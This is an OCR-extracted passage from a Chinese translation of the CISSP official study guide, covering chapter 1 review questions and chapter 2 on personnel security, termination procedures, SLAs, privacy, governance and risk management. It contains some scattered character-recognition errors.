理解安全管理计划编制。 安全管理基于三种类型的计划 : 战略计划、 战术计划和操作计划。 战
略计划是长期计划， 并且是相当稳定的 ， 用于定义组织机构的 目 的、 任务和 目 标。 战术计划是中期
计划， 用来提供更加详细的实现战略计划所提出 目 标的计划。 操作计划是短期计划 ， 是基于战略和
战术计划的非常周详的计划 。
了解规范化安全策略结构的元素。 为 了生成全面的安全计划 ， 需要适当地遵守下列要求: 安全
策略、 标准、 基准、 指导方针和l!ï)字。 这些文档清楚地描述了安全需求并反映了责任方的适度关注。
理解重要的安全角色。 主要的安全角色有高层管理者、 组织机构所有者、 上层管理者 、 安全专
家 、 用户、 数据所有者 、 数据管理员 以及审计人员 。 通过构建安全角色的层次， 就可以全面限制
风险。
了解如何实现安全意识培训11。 在真正的培训开始之前， 必须为用户建立树立为公认实体的安全
意识。 一旦树立了安全意识， 培训或教育员工执行工作任务和遵守安全策略就可以开始了 。 所有的
新员工都需要进行培训 ， 这样他们才能够遵守安全策略中规定的所有标准、 指导方针和程序。 教育
是一项更细致的工作 ， 学当三/用户需要学习 比他们完成工作任务实际所需知识多得多的知识。 教育往
往与用户 参加认证考试或寻求职务晋升相关联。
了解分层如何简化安全。 分层是串联使用多个控制层次。 使用 多层次解决方案， 使用许多控制
去 防范威胁。
能够解释抽象的概念。 抽象用 于将相似的元素放入组、 类别或角色(被整体性授予安全控制、 限
制 或权限) 中 ， 抽 象提高了 实施安全计划 的效率。
理解数据隐藏。 顾名思义， 数据隐藏防止主体发现或访问 数据。 在安全控制和程序设计中， 数
据 隐藏通常是一个关键要素。
理解对加密的需求。 加密是对计划外的接收者隐藏通信数据的含义或意图的一种艺术和学科。
加密可以具有很多形式， 并且能够用于所有的电子通信类型 ， 包括文本、 音频和视频文件以及应用
程序本身 。 加 密技术是安全控制 中 一个非常重要的元素， 尤其系统之间的数据传输更是如此。
能够解释更改控制和更改管理的概念。安全环境的改变很可能引入会导致新脆弱性出现的漏洞、
重叠、 客体丢失和疏漏 。 面对更改 ， 维持安全性的 唯一方法是系统地管理更改 。
了解为什么和如何进行数据分类。 数据分类旨 在简化给客体组(而不是单独客体)分配安全控制
的过程。 两种通用的分类方案是政府/军方分类和商w私营部门 分类。 了 解政府/军方分类中 的 5 个
级别和商业/私营部 门分类中 的4个级 别 。
理解解除分类的重要性。 一旦某个资产不再需要当前分配的分类或敏感性级别保护， 就需要解
除分类。
了解 COBI丁 的基础知识。 信息及相关技术控制 目 标(COBIT)是一种安全概念基础架构， 用于组
织公司 的复杂安全解决方案。
了解威胁建模的基础知识。 威胁建模是一种安全流程， 能识别 、 分类和分析潜在威胁。 威胁建
模在设计开发阶段可作为一种提前措施来执行， 或在产品被部署后作为一种被动性措施来执行。 关
键概念包括资产/攻击者/软件 、 ST阳DE、 图形表示、 约 简/分解和 DREAD。
了解安全井购的必要性。 将网络安全风险管理与收购策略和实践进行综合是确保组织的安全策
略成功强健的一种手段， 而不管组织的规模是什么样的。 如果在没有考虑安全性的情况下贸然购买，
所购买的这些产品 的 固有风险将在其整个部署过程中 一直存在 。
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28
CISSP 官方学 习指南(第 7 版)
1 .8 书面实验室
1 . 讨 论和描述 CIA 三元组 。
2. 为了能够 问 责 与特定用户 账户 相关联人 员 的活动 ， 具体有哪些需求?
3. 描述变更控制管理的优点。
4. 实现分类方案 的 7 个主要步骤是什么 ?
5 . 指出(lSC)2 为 CISSP 定义的 6 种主要安全角色 。
6. 完整的组织安全策略 的 4 个组成部分及其基本 目 的是什么 ?
1 .9 复习题
1 . 下 列哪一项包含安全性的主要 目 标和目的 ?
A. 网络的外围边界
B. CIA 三元组
C. 一个独立的系统
D. 互联网
2. 脆弱性和风险是基于它们对下列哪一项的威胁评估 ?
A 一条或多条 CIA 三元组原则
B. 数据有效性
C. 应尽关注
D. 责任范围
3. 下 列哪一项在 CIA 三元组原则 中用于说明授权主体被及时授予和不间断地访问对象?
A. 识别
B. 可用性
C. 加密
D. 分层
4. 下列哪一项不被视为违反保密性?
A. 窃取密码
B 窃听
C. 硬件破坏
D. 杜会工程学
5. 下 列哪一项是不正确的 ?
A. 保密性的违反包括人为错误。
B. 保密性的违反包括管理监督 。
C. 保密性的违反仅 限于直接故意攻击。
D. 当传输未正确加密时保密性违反可能发生。
6. STRIDE 通常与用于评估针对应用程序或操作系统的威胁有关。 以下哪一项不是 STRIDE 的
元素?
A. 欺骗
第1章 通过原则和策略的安全治理
B. 权限提升
c. 否认
D. 披 露
7. 如果一个安全机制提供可用性， 也就提供了 高级别保证， 该授权对象可以
象和资源。
A. 控制
B. 审 计
c. 访 问
D. 否 认
数据、 对
8. 指的是保持信息 的机密性， 防止一旦泄露， 个人身份可能造成伤害、 尴尬或丢人。
A. 隐居
B. 隐敲
c. 隐私
D. 临 界
9. 对于所有个人的影响 ， 除了下面哪一项 以外都需要注意?
A. 制约个人电子邮件
B 记录 电话交谈
c. 收集关于上网 习 惯的信息
D. 用 于保留电子邮件的备份机制
1 0. 数据分类管理的什么元素可 以覆盖所有其他访问控制的形式?
A. 分类
B. 物理访 问
c. 监管者职责
D. 取得所有权
11. 什么确保了 活动或事件的主体不能否认发生过的事件?
A. CIA 三元组
B. 抽 象
C. 不可否认性
D. 哈希总数
12. 以下哪一项相对于分层安全是最重要和独特的概念?
A. 多层
B. 系 列
c. 并行
D. 过滤
13. 下列哪一项不被认为是数据隐藏的例子?
A. 防止对象的授权 阅读者删除该对象
B. 阻止未经授权的访问者访问 数据库
C. 限制较低级 别 的主体访 问 较高级别 的数据
D. 阻止应用程序直接访问 硬件
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CISSP 官方学习 指南(第 7 版)
1 4. 变更管理的主要 目 标是什么 ?
A. 维护文档
B. 保持用户 得到变更通知
c. 允许失败变更的回滚
D. 防止安全危害
15. 数据分类方案 的主要 目 标是什么 ?
A. 控制授权主体访 问对象
B. 为 了 形式化和根据重要性和敏感性分配标签 以分层保护数据的过程
c. 为审计可 问 责性建立交易 跟踪
D. 为操作访问 控制 以提供最有效的手段来授予或限制功能
1 6. 在 分类数据时， 下列哪一项通常是不考虑的特征?
A. 价值
B. 物体的大小
c. 使用寿命
D. 国 家安全的影响
1 7. 两种常见的数据分类方案是哪些 ?
A. 军事和私营部门
B. 个人和政府
c. 私营部门 和非 限制性行业
D. 分类和未分类
1 8. 下 列哪一项是机密数据的最低军事数据分类?
A. 敏感
B. 机密
c. 专有
D. 隐私
1 9. 下列商业/私营部 门 的哪一个数据分类用来控制组织 内 的个人信息?
A 机密
B. 隐私
c. 敏感
D. 专有
20. 数据分类都用于关注安全控制 ， 除了 以下哪一个?
A 存储
B. 处理
c. 分层
D. 转移
第 2 ..::i!:i:二
写主
人 员安全和凤险管理概念
本章中覆盖的 CISSP 考试大纲包含:
安全和风险管理(例如安全、 风险、 合规性、 法律、 法规、 业务连续性)
• H. 促进人员 安全策略
H. l 筛选候选人(例如背景检测、 教育核查)
H.2 雇佣协议和策略
H.3 解雇员 工的流程
H.4 供货商、 顾 问和承包商控制
H.5 合规性
H.6 隐私
• 1. 理解和应用风险管理的概念
1. 1 识别威胁和脆弱性
1.2 风险评估/分析(定性、 定量、 混合)
I.3 风险分配/接受(例如系统授权)
1.4 措施选择
1.5 实施
1.6 控制类型(阻止、 检测 、 纠 正等)
I.7 控制评估
1.8 监控和测量
1.9 资产评估
1. 1 0 报告
1. 1 1 持续改进
I. l 2 风险框架
• L. 建立和管理信息安全教育 、 培训和意识
L. l 适合组织需要的水平的安全意识、 培训和教育
L.2 定期的 内 容相关审查
CISSP 官方学 习指南(第 7 版)
安全评估与测试(设计、 执行和分析安全测试)
• C.5 培训和意识
在 CISSP 认证考试中 ， 通用知识体系(CBK)的安全和风险管理领域涉及许多安全解决方案的基
本元素。 其中， 安全机制 的设计、 执行 以及管理都是必不可少的基本元素。
安全和风险管理领域的附加元素在如下许多章都有讨论: 第 l 章 ， " 通过原则和策略的安全治
理 "; 第3章， 66业务连续性计划"; 以及第4章， " 法律、 法规和合规性"。 请一定复习 这些章， 以便
能够从一个完整的角度来讨论安全和风险管理领域的相关话题。
由 于硬件和软件控制的复杂性和重要性， 在整个安全计划编制中， 针对员工的安全管理往往会
被忽略。 本章从确定安全雇佣过程和工作描述到开发员工基础架构， 从人的角度探讨了 安全性。 此
外 ， 员 工的培训 、 管理和解雇过程被视为创建安全环境的一个不可或缺的部分。 最后 ， 我们将介绍
如何评估和管理安全风险。
2. 1 促进人员安全策略
在任何安全解决方案中， 人都是最薄弱的环节。 无论部署怎样的物理或逻辑控制， 人总能发现
避免受到控制、 回避或消除控制以及禁用控制的方法。 因此， 在为自 己所处的环境设计和部署安全
解决方案时 ， 要将用户的人性因素考虑进去 ， 这一点非常重要 。
在开发安全解决方案的所有阶段， 都会产生与人有关的论点 、 问题和折中方案 。 这是因为人贯
穿 了任何解决方案的整个开发、 部署和持续管理过程。 因此， 我们必须评估用户 、 设计人员 、 编程
人员 、 开发人员、 经理以 及实现人员在这个过程 中 的作用 。
雇佣新的职员通常涉及几个明确的步骤: 创建工作描述、 设置工作分类、 筛选候选人、 雇佣和
培训最适合这项工作 的人。 如果没有工作描述， 就不能形成应该雇佣何种类型人员 的统一意见。 因
此， 在定义与即将被雇佣人员有关的安全需求时， 创建工作描述是第一步。 因 为有对人员特殊技能
和经验的要求， 所以组织应该增加人手。 组织内部对任何职位的工作描述， 都应该确定相关的安全
问题。 必须考虑到一些相关事直， 例如， 是否需要这个职位处理敏感资料或访问分类的信息。 实际
上， 工作描述定义了为 了完成工作任务而需要为员工分配的角色。 工作描述应该对职位所要求的访
问 安全网络的类型和范围进行定义 。 一旦确定了这些问题， 为工作描述分配的安全类别就相当标
准了。
提示 : 工作描述的重要性
对于 实现和支持安全解决方案来说， 工作描述十分重要。 然而， 许多组织要么 忽略工作描述，
要么 工作描述陈 旧和脱离 实 际。 看看能否找到 自 己的 工作描述。 有这样的工作描述吗 ? 如果有的话，
那 么最近一次更新是什么 时候? 工作描述能否反映所做的工作? 工作描述是否说明 了 履行特定工作
职责所需 的安全访问类型 ? 有些组织必须精巧地设计工作描述以符合 SOC-2， 而其他符合 IS027001
要求的 工作描述需要按年度审查。
32
如下所示 ， 在构建工作描述方面的重要元素包括职责 分离 、 工作职责和岗位轮换:
职责分离 职责分离属于安全概念， 是指把关键的 、 重要的和敏感的工作任务分配给若干不同
的管理员或高级执行者(见图 2. 1)。 这样做能阻止任何一个人具备破坏或削弱重要安全机制的能力。
可 以将职责分离视为对管理员 的最小特权原则的应用。 职责分离也能够防止共谋， 共谋指的是负面
第2章 人员安全和风险管理概念
活动 由两人或多人共同完成 ， 其意图往往是伪造、 偷窃或间谍行为。
管理
任务
指派
管理员
数据库 防火墙 用户账户 文件
管理 管理 管理 管理
管理员 l 管理员 2 管理员 3&4 管理员 5
图 2. 1 关于 5 个管理任务和 7 个管理员职责分离的例子
网络
管理
管理员 6&7
工作职责 工作职责是要求员工在常规的基础上执行的特定工作任务。 根据他们的职责， 员 工
需要访问 各种不同的对象、 资源和服务。 在安全的网络上， 用户必须被授予访问 与其工作任务有关
元素的权限。 为 了保持最大的安全性， 应该按照最小特权原则 分配访问权限。 最小特权原则规定:
在安全环境中 ， 应该授予用户完成工作任务或工作职责所必需 的最小访问权限。 这条原则的实际应
用 要求对所有资源和功能进行低级别 的粒度访 问 控制 。
岗位轮换 岗位轮换是一种简单的方法， 组织通过让员工在不同的工作岗位间轮换职位来提高
整体安全性(见图 2勾。 岗位轮换有两个作用 。 首先， 它提供了一种知识冗余类型。 当许多员工中 的
每一位都有能力胜任所要求的若干工作岗位时， 如果因为疾病或其他事件导致一位或多位员工在较
长的时间 内 无法工作 ， 那么组织遭受严重停工或生产效率降低 的可能性就较小。
网络管理员 数据库管理员
用户账户 管理员 防火墙管理员
图 2.2 管理职位间岗位轮换的例子
其次， 人员流动可以减少伪造、 数据更改、 偷窃、 阴 谋破坏和信息滥用的风险。 员 工在一个特
定 岗位工作的时间越长， 就越有可能为他们分配额外的工作任务， 从而扩展了他们的特权和访问权
限。 由 于个人逐渐熟悉了 自 己的工作任务， 因此很可能为了个人利益或恶意报复而滥用特权。 如果
某位员 工误用或滥用特权， 那么就很容易被另一位了 解该工作岗位和工作职责的员工发现。 因此，
33
CISSP 官方学 习指南(第 7 版)
岗位轮换也提供了 一种 同级审计形式， 并且 能够防止共谋。
交叉训练
交叉训练通常被作为 工作轮换的另 一种方法进行探讨。 在这两种情况下 ， 员 工都可以 了 解到 多
个工作 岗 位的 职责。 然而， 在交叉训练中仅要求员 工履行其他工作 岗 位的职责; 员 工并不是定期地
轮换工作 岗 位。 在找不到合适员 工 的情况下 ， 交叉训练能够利用 现有的人才填补职位空缺， 是一种
应 急预案 。
当几个人一起共同犯罪时， 这被称为共谋。 由于将职责分离、 限制工作职责和提供岗位轮换组
合在一起， 因此导致共谋被发现的风险性更高， 这使得同谋愿意参加非法活动或滥用职权的可能性
降低。 共谋和特权滥用可以通过严格的权限监控得以减少， 例如管理员 、 备份操作员 、 用户管理人
员 以及其他人员 。
工作描述不能只在雇佣过程中使用 ， 还应当在组织的整个生命周期中被维护。 只 有通过详细的
工作描述， 才能将员工应该担负的责任与他实际上所担负的责任做比较。 这个管理性任务必须确保
工作描述的重叠'性尽可能小， 并且一位员工的职责与另一位员工的职责没有出现偏移或侵 占的情况。
同样， 经理应该对权限分配进行审计， 从而确保员 工只能获得完成工作任务所需的访问权限。
2.1.1 筛选候选人
为特定的职位筛选候选人时， 是以工作描述中定义的敏感程度和分类级别为基础的。 特定职位
的敏感程度和分类级别依赖于该职位的员工无意或有意违反安全性所造成的危害程度。 因此， 筛选
员 工的全过程应当反映如何满足职位的安全性要求。
对于职位的安全性来说， 背景调查和安全检查是证明候选人能够胜任工作、 具备工作资格和值
得信赖的必要因素。 背景调查包括: 获得候选人的工作和教育历史记录: 检查证明材料: 与候选人
的 同事、 邻居和朋友进行会面; 向公安局和政府机关调查候选人的拘捕或违法活动记录: 通过指纹、
驾驶执照和出生证明来认证身份: 以及进行面试。 此外还可以采用测谎仪、 药检、 性格测试/评估等
形式。
对于许多组织而言， 对申请人进行在线背景调查和社交网络账户复审己经成为一种标准惯例。
如果一个潜在的员工向这些组织的 图片分享网站、 社交网络档案或公共即 时信息服务平台发送不适
当 的材料， 他们就没有那些提供相称材料的求职者更受青睐。 当我们以文档、 图片或视频的形式记
录材料， 并发布在网上时， 我们的这些行为在公众的视野中就会成为永久不断的。 通过查看一个人
的网络身份， 我们可 以很快收集到这个人的态度、 智力、 忠诚、 常识、 勤奋、 诚实、 尊重、 坚定性、
遵守社会准则 以及企业文化等方面的大致情况。
34
2.1 .2 雇佣协议和策略
雇佣新员工时， 应该签署雇佣协议。 协议文档概略说明 了 组织的规则和限制、 安全策略、 可接
受的使用和行为准则 、 详细的工作描述、 破坏活动及其后果、 要求员工胜任工作所需的时间。 其中 ，
很多条 目 都是独立的文挡。 这种情况下， 雇佣协议用来确认所雇佣的候选人已经阅读井了 解了与他
们所期望工作职位相关联的文档 。
第2章 人员安全和风险管理概念
除了雇佣协议 以外， 还必须确 定 其他 与 安 全相 关 的文档 。 一个通用 的文档是保密协议
(NonDisclosure Agreement， NDA)o NDA 用来保护组织的机密信息不会被以前的员工泄漏。 当员工
签署NDA 时 ， 他们 同意不对组织外的任何人泄露被定义为机密级的信息。 违反了 NDA 的行为常常
会遭到严厉 的处罚 。
⑤ 真实场景
NCA: 同样具有限制作用 的 NDA 的孪生协议
NDA 通常与竞业禁止协议(NonCompeteAgreement， NCA)同 时存在。 竞业禁止协议试图 阻止格
外了解组织秘密的 员 工加入另 一个存在竞争关系 的组织， 从而使第二个组织不能受益于该员 工所 了
解的秘密。 NCA 还用 于 防止员 工因为 高 薪或其他诱惑而网时曹到其他的公司 。 通常， NCA 具有时 间
限制 ， 例如半年、 一年甚至三年。 NCA 的目标是: 通常俐夺人力 资源 为 自 己的利益服务〈而不是反
戈一击)， 从而准许原 来的公司 维持 自 己 的 竞争优势。
许多公司都要求新雇佣的 员 工签署 NCA。 然而， 在法庭上完全实现 NCA 的效力是极为 困难的。
法庭认可 员 工为了保障 自 己和家庭的生活， 九许使用 所具备的技能和知识谋取工作的情况。 如果
NCA 妨碍员 工获得适 当 的收入， 那么法庭通常会认为 NCA 无效， 或者阻止协议的 约定结果成为
现实。
即 使 NCA 在法庭上并非总是可强制实施， 但是这并不 意味着原 来的公司 无 法获得利 益:
• 首先， 由于违反NCA 导致的诉讼威胁， 常常足以 阻止员 工在新公司 工作时违反秘密条款。
• 其次， 如果员 工确 实违反了 NCA 的条款， 那么即使由于法庭限制无法实现特别定义的约定
结果， 法庭审理的浸长时 间 和耗费 的精力(更不必说花费 的金钱比足以让人望而生畏了 。
在被雇佣时， 你是否签署 了 NCA? 如果签署了 NCA， 那 么你是否了解各种条款以及违反 NCA
的 潜在后 果?
在员工的整个雇佣期内 ， 经理应当定期审计每-位员工的工作描述、 工作任务和特权等。 随着
时间的推移， 工作任务和特权通常会发生偏差， 这会导致一些任务被忽略， 而其他一些任务又被多
次重复执行。 偏差还会导致违反安全性的行为。 定期审查每一种工作描述中定义的界限与实际界限
的关系 ， 有助于保持安全破坏程度的最小化。
这个审查过程的关键部分是强制性休假 。 在许多安全环境中 ， 一到两个星期的强制性休假被用
于审计和认证员工的工作任务和特权。 此时， 这位员工暂时离开 自 己的工作环境， 另 -名员工接替
其工作 。 通过这种做法， 往往很容易 发现滥用 、 伪造或疏忽行为。
2.1 .3 解雇员工的 流程
需要解雇某位员工时 ， 必须解决很多问题。 在解雇过程中 ， 安全部门和 皿 之间的紧密关系对
于维护控制和最小化风险是很重要的。 对于维护安全环境来说， 解雇过程或策略是必要的， 即使是面
对一位必须离开组织的、 心怀不满的员工也同样如此。 被解雇员工的反应大相径庭， 包括从平静、 理
解接收到反应强烈乃至破坏性的狂怒。 必须设计和实施合理的解雇过程， 以便减少不愉快事件的发生。
处理解雇员工事直时， 应该采取不公开的和尊重人的方式。 然而， 这并非意味着不应当采取防
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CISSP 官方学习指南(第 7 版)
范措施。 终止合同时应该至少有一位证人在场， 证人最好是高层经理和/或安保人员 。 一旦员工被告
知离职， 他们应该被立刻护送离开， 并且不允许通过任何理由返回办公地点。 员工在被解雇离开之
前 ， 组织特有的所有身份证件、 访 问权限或员工安全标志以及门卡、 钥匙和出入证都应该被收回(见
图 2.3)。 通常， 解雇员工的最佳时间是员工轮班结束时。 在一周的早期和中期解雇员工可以让这个
前雇员有时间去申请失业和/或在周 末前开始寻找新的就业机会。 同时， 换班时解雇员工可以让员工
以一种更加 自 然的方式告别其他员工， 这样可 以 减少压力 。
访问卡
/ / 1 .ι→ i 员工证 D
前雇员
" _./ " / 钥匙
智能卡 公司传呼机 G
图 2.3 前雇员必须归还所有公司 资产
如果有可能， 那么应该进行一次离职面谈。 然而， 这种做法通常依赖于员工面对解雇和其他因
素时的心理状态。 如果离职面谈无法在解雇时立刻进行 ， 那么应该越快越好。 离职面谈的主要 目 的
是 : 根据前雇员签署 的雇佣协议、 保密协议和其他安全相关文档来审查责任和约束条件。
以下列出了应该尽快处理的其他事直 :
• 确认员工 己归 还放在交通工具或家 中 的组织配发的装置或供应品 。
• 删 除或禁用员工的网络用户账号。
• 通知人力资源部 门 支付最后的薪水， 把未使用 的休假换成工资 ， 终止所有的福利待遇。
• 安排安全部 门 的人员陪同被解雇的 员 工在工作场所收拾他们的个人物品。
• 通知所有安全人员 以及监控出入口 的其他人员 ， 确保被解雇的员工只能在安全人员护送下
再次进入工作场所 。
大多数情况下， 应该在通知员工被解雇的 同时或之前就禁止或删除此员工对系统的访问权限。
如果被解雇的员工仍然能够访问机密数据 ， 或者通过访问权限去修改、 损坏数据和服务， 那么更需
如此。 如果没能对被解雇员工的行为进行限制， 就会给组织留下广泛的脆弱性， 包括对物理财产和
逻辑数据的 窃取和破坏。
@ 真实场景
解雇 : 不仅仅是解雇通知书
解雇员 工是一个复杂的 过程。 将解雇通知书直接放入员 工邮箱 的做法已经行不通了 。 在 大多 数
以 IT 为 中 心的组织中， 终止工作合同 可能使员 工或公司 处于手即色害或导致危害的风险之中。 因此，
我们 需要精心设计面 谈过程。
第2章 人员安全和风险管理概念
然而， 只有面谈过程是不够的。 毫 无疑问， 每次解雇都应该恰当地进行会谈. 遗憾的是， 历 史
上存在许多 没有进行离职面谈的 实例。 你甚至可能听说过一些 由 匆忙的 面谈过程导致的惨痛后果，
常见的示例 包括在 实 际通知 员 工之前执行下列 所有操作( 因 而对要解雇的 员 工进行事先 警告):
• IT 部 1、丁要求返回笔记本电脑。
• 禁用 网 络账户 。
• 阻止某人的 PIN 或智能卡被用 于进入工作场所。
• 废除某个停车证。
• 分发公 司 的 重组图表。
• 在狭小 的 工作空间 内 安直 一名新员 工。
• 准许将解雇信息 泄漏给中 介。
不用说， 为 了使离职面谈和安全解雇过程能够正常运作 ， 就必须在正确的 时间(也就是离职面谈
的 开始时间)按照正确 的 顺序 实施这些过程 ， 例如以下的例子:
• 告知其他人， 他们 已被解除工作。
• 要求收回所有 的访问微幸 、 钥匙和公 司 设备。
• 禁止此人电子访 问 组织的各个方面。
• 提醒此人关于 NDA 的 责任 。
• 护 送此人 离 开建筑物。
2.1 .4 供应商 、 顾问和承包商控制
利用供应商、 顾 问 以及承包商控制来确定这个主要组织外部的不同实体、 个人或组织的绩效水
平、 期望值高低、 薪酬水平以及影响程度。 通常情况下， 在服务级别协 议(Service-Level Agreement，
SLA)的文件或策略中会对这些控制进行明 确规定 。
利用 SLA 确保组织向其内部和(或)外部客户提供的各种服务， 能够维持在服务提供商和供应商
双方达成一致的适当服务水平上， 这种方式越来越受欢迎。 将 SLA 适当应用于任何数据电路、 应用
程序、 信息处理系统、 数据库或其他对组织持续生存能力至关重要的部分， 是一种明 智之举 。 在使
用任何类型的第三方服务提供商时， SLA 尤为重要， 这其中包括云服务。 如下是在 SLA 中处理的
常见问题:
• 系 统运行时间(作为总体运行时间的百分比)
• 最长连续停机时间(以秒或分钟等计算)
• 最大负载
• 平均负载
• 诊 断任务
• 故障转移时间(如果冗余处于适当位置)
SLA 通常还包括财务和其他合同补救措施。 如果这份协议得不到维护， 那么这些补救措施将开
始生效。 例如， 如果一条关键回路出现故障的时间长达 1 5 分钟 以上， 那么服务提供商可能同意免除
这条回路一周 的所有费 用 。
SLA 以及供应商 、 顾问 和承包商控制是降低风险和回避风险的一个重要部分。 通过明确地定义
外部单位的期望值和处罚 ， 所涉及的每个人都应知道他们所期待的是什么 ， 以及万一达不到期望值
会 出现什么样的后果。 利用外部提供商来提供许多商业功能或服务， 价格可能非常划算， 但是潜在
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CISSP 官方学习指南(第 7 版)
的风险也会随着攻击面的扩展和漏洞范围的扩大而增大。 除了确制服适时的服务和合理的价格外，
SLA 还应包括一个重点， 就是保护和完善安全机制 。
2.1 .5 合规性
合规是符合或遵守规则 、 策略、 法规、 标准或要求的行为。 合规性对安全治理来说是一个重要
的问题。 在人员层面， 合规性涉及的是员工个体是否遵守公司策略以及是否按照定义的手里芋来执行
他们的工作任务。 许多组织依靠员工的合规性来保证高质量、 一致性、 效率和节约成本。 如果员工
不坚持合规性， 组织的利润、 市场份额、 公认度和声誉可能就会受损 。 员工需要接受培训 ， 以便知
道他们需要做什么 ; 只 有这样， 如果出现违规或缺乏合规 ， 才可能追究他们的责任。
2.1 .6 隐私
隐私是一个难以定义的概念。 通常， 在很多环境中使用这个术语时并没有进行定量或定性。 下
面列 出 了 一些对隐私性的可能定义 :
• 主动防止对个人可确认的信息(也就是与某人或某个组织直接联系的数据点)的未授权访问 。
• 防止对被视为个人的或秘密的信息进行未授权 的访问。
• 防止未被同意或知晓的观察、 监控或检查行为。
38
注意 :
在讨论隐私性时经常出现的一个概念是个人身份信息(personally Identifìable Information， PII)。
PII 是可以很容易地和/或明显地追溯到源头的人或涉及人的任何数据项。 电话号码、 电子邮件地址、
邮寄地址、 社会保障号和名 字都是 PII. MAC 地址、 E 地址、 操作 系 统类型 、 最喜欢的度假地点、
高 中 吉祥物的名 字 等一般不是 PIl.
在 IT 领域内解决隐私性问题时， 通常需要在个人权限和组织的权力或活动之间达到平衡。 某些
人认为， 个人有权控制是否能收集他们的信息以及如何处置这些信息。 其他人则认为 ， 在公共场合
执行的任何活动(例如， 在互联网上执行的大多数活动或者在公司设备上执行的活动)， 可 以在不必
通知或得到被监视人授权的情况下而被监控， 而且只要组织认为合适或值得， 通过监控收集的信息
就可 以用于任何 目 的 。
保护个人免于遭受不希望的监控、 产品直销 以及不暴露个人隐私性或秘密资料的努力， 被认为
是值得的。 然而另一方面， 一些组织宣称通过人口 统计学研究、 收集信息和关注市场能够改进业务
模式、 减少广告浪费 以及节省所有人的支 出 。
有许多关于隐私性立法和合规性的问题。 许多美国法案中都有关于隐私的要求， 如 《健康保险
流通与责任法案>> (HlPAA)， 2002 年的 《萨班斯-奥克斯利法案>> (SOX)*O ((金融服务现代化法案》
以及欧盟指令 95/46ÆC(又名数据保护指令)和合同要求 《支付卡行业数据安全标准>> (pCI DSS)。 重
要的是， 要理解你所在的组织需要遵从的所有政府规定， 并保证合规性， 尤其是在隐私保护的地区 。
无论个人或组织对网上个人隐私性问题的态度如何， 都必须在组织的安全策略中被确定。 隐私
性不仅是外部访问者对提供的联机信息进行访问 的 问题， 而且也是客户 、 员工、 供应商和承包商的
问题。 如果要收集与个人或公司 相关的任何类型信息， 那 么必须解决隐私性问题。
大多数情况下， 特别是当隐私性被破坏或受到限制时， 必须通知个人和公司 ， 否则可能面对法
第2章 人员安全和风险管理概念
律上的纠纷。 当允许或限制个人使用 电子邮件、 保留 电子邮件、 记录电话谈话、 收集有关网上冲浪
或消 费习惯时 ， 同样必须解决隐私性 问题。
2.2 安全治理
安全治理是与支持、 定义和指导组织安全工作相关的实践集合。 安全治理经常与企业和 盯 治理
密切相关， 并交织在一起。 这三种治理议程的 目 标常常相互关联或者都是相同的。 例如， 组织治理
的一个共 同 目 标是确保组织将继续存在并随着时间 的推移成长或扩大。 因此， 三种治理形式的 目 标
都是维持业务流程 ， 同 时努力追求增长和弹性。
第三方治理是可能由法律、 法规、 行业标准、 合 同义务或许可要求规定的监督制度。 实际的治
理方法可能有所不同 ， 但通常包括外部人员或审计人员 。 这些审计人员可能会 由管理组织指定 ， 也
可能是 目 标组织雇佣 的顾问 。
第三方治理的另一个方面是将安全监督应用到组织所依赖的第三方。 许多组织选择将他们业务
的各个方面外包出去。 外包业务可能会包括保安 、 维修、 技术支持和会计服务。 第三方需要遵从主
要组织的安全立场 。 否 则 ， 他们就会对主要组织带来额外的风险和漏洞 。
第三方治理重点认证对所述安全 目标、 要求、 法规和合同义务的合规性。 现场评估可以为在某
个位置使用 的安全机制提供第一手信息 。 那 些在 现场执行的 评估或审 计需要遵循审计协议。日
COBIT) ， 并有一个特定的要求检查表来进行调查。
在审计和评估过程中 ， 目 标和管理组织都应当参与全面和开放的文档交换和审查。 组织需要知
道必须遵守的要求的全部细节。 组织应向管理组织提交安全策略和 自 我评估报告。 这种开放的文档
交换确保各方在所有问题上达成一致， 减少了 未知需求或不切实际的期望的机会。 文档交换不以文
件或电子文件的传输而结束 ， 相反， 它通向文档审查的 过程 。
文档审查是阅读交换材料并利用标准和期望对其进行检验的过程。 文档审查通常会在现场检查
开始前执行。 如果交换文档是充分的 、 符合预期的(或至少满足要求)， 那么现场审查就能够专注于
对所述文档的遵守。 然而， 如果文档不完整、 不准确或不够， 现场审核可能就要被推迟 ， 直到对文
档进行了 更新和修正 。 这一步很重要， 因 为如 果文档不合规 ， 很有可能位置也不合规 。
在许多情况下， 尤其是与政府或军事机构或承包商有关时， 未能提供足够的文档来满足第三方
治理的需求可能会导致授权操作(ATO)的损失或无效。 完整和充分的文档通常可以维持现有 ATO 或
提供临时 的 ATOσATO)。 然而， 一旦 ATO 丢失或撤消， 那么要重建 ATO， 就必须有显示完全合规
的完整的文档审查和现场审查。
文档审查的一部分是对业务流程和组织策略的逻辑和实际调查。 这一审查确保声明和实施的业
务任务以及系统和方法是实用、 高效和成本有效的 ， 最重要的是(至少在有关安全治理方面)， 它们
可 以通过减少漏洞以及避免、 减少或缓解风险来支持安全 目标。 风险管理、 风险评估和风险解决都
是在执行流程/策略评估中 涉及 的方法和技术。
2.3 理解和应用 风险管理概念
安全性的 目 的是在维护经过授权的访问时， 防止数据的丢失或泄露。 可能发生造成数据损坏、
毁坏或泄露的事情被称为风险。 了 解风险管理的概念不仅是 CISSP 考试的重点， 也是建立充分的安
39
CISSP 官方学 习指南(第 7 版)
全状态 、 适当的安全治理和应尽关注 、 应尽职责的法律证明 的根本。
因此， 管理风险是维护安全环境的一个元素。 风险管理是一个详细的过程， 包括识别可能造成
数据损坏或泄漏的因素， 根据数据的价值与对策的成本来评估这些因素， 以及为 了减轻或降低风险
而实现有成本效益的解决方案。 风险管理的整个过程被用来制定和实施信息安全策略。 这些策略的
目 标是减少风险和支持组织的使命。
风险管理的主要 目 的是要将风险降低到一个可以接受的级别。 究竟要达到哪一个级别 ， 这主要
取决于组织、 其资产的价值、 预算的多少以及其他许多因素。 某个组织认为可接受的风险对于另一
个组织来说可能是完全不合理的、 过高的风险级别。 设计并实现一个完全没有风险的环境是不可能
的 ， 但是 ， 显著地减少可能出现的风险还是可能的 ， 而且往往 只 需付出要很少 的努力 。
IT 基础架构中的风险并不只涉及计算机。 事实上， 许多风险来自 于非计算机。 当为组织进行风
险评估时， 考虑到所有可能存在的风险是十分重要的。 如果不能正确地评估和响应所有的风险形式，
那么公司 的安全性就是脆弱的 。 需要记住的是， IT 安全性(通常被称为逻辑或技术安全性)只针对逻
辑或技术攻击提供保护。 为了保护 IT 安全性不遭受物理攻击， 就必须建立物理保护措施 。
